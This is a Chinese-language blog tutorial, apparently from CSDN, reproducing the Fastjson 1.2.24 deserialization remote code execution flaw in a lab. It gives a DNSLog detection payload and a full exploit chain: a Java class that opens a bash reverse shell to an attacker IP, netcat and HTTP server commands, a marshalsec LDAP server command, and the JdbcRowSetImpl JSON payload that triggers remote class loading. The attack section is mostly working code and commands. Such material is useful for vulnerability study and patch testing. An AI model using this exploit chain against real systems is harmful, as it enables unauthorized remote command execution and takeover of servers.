Fastjson 反序列化漏洞[1.2.24-rce]

漏洞复现环境搭建请参考

http://t.csdnimg.cn/vSaaw

kali切换jdk版本请参考

Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

漏洞原理

Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行

漏洞版本

fastjson<=1.2.24

漏洞验证

(1)Web访问,JSON页面

(2)BP抓包,利用DNS回显验证,DNSLog Platform

(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在

#val的值为DNS申请的域名

Content-Type:application/json

{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"q6teka.dnslog.cn"
	}
}

漏洞利用

(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件

#执行反弹shell,注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;
 
public class getshell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

(2)开启攻击机HTTP服务和反弹shell端口的监听

python3 -m http.server 80
nc -lvvp 8888

(3)开启LDAP服务

#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar

#开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666      

(4)回到站点,BP抓包,发送恶意数据,内容如下

Content-Type:application/json
{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.88.128:6666/getshell",
	"autoCommit":true
	}
}

(5)放包,getshell

  • 16
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值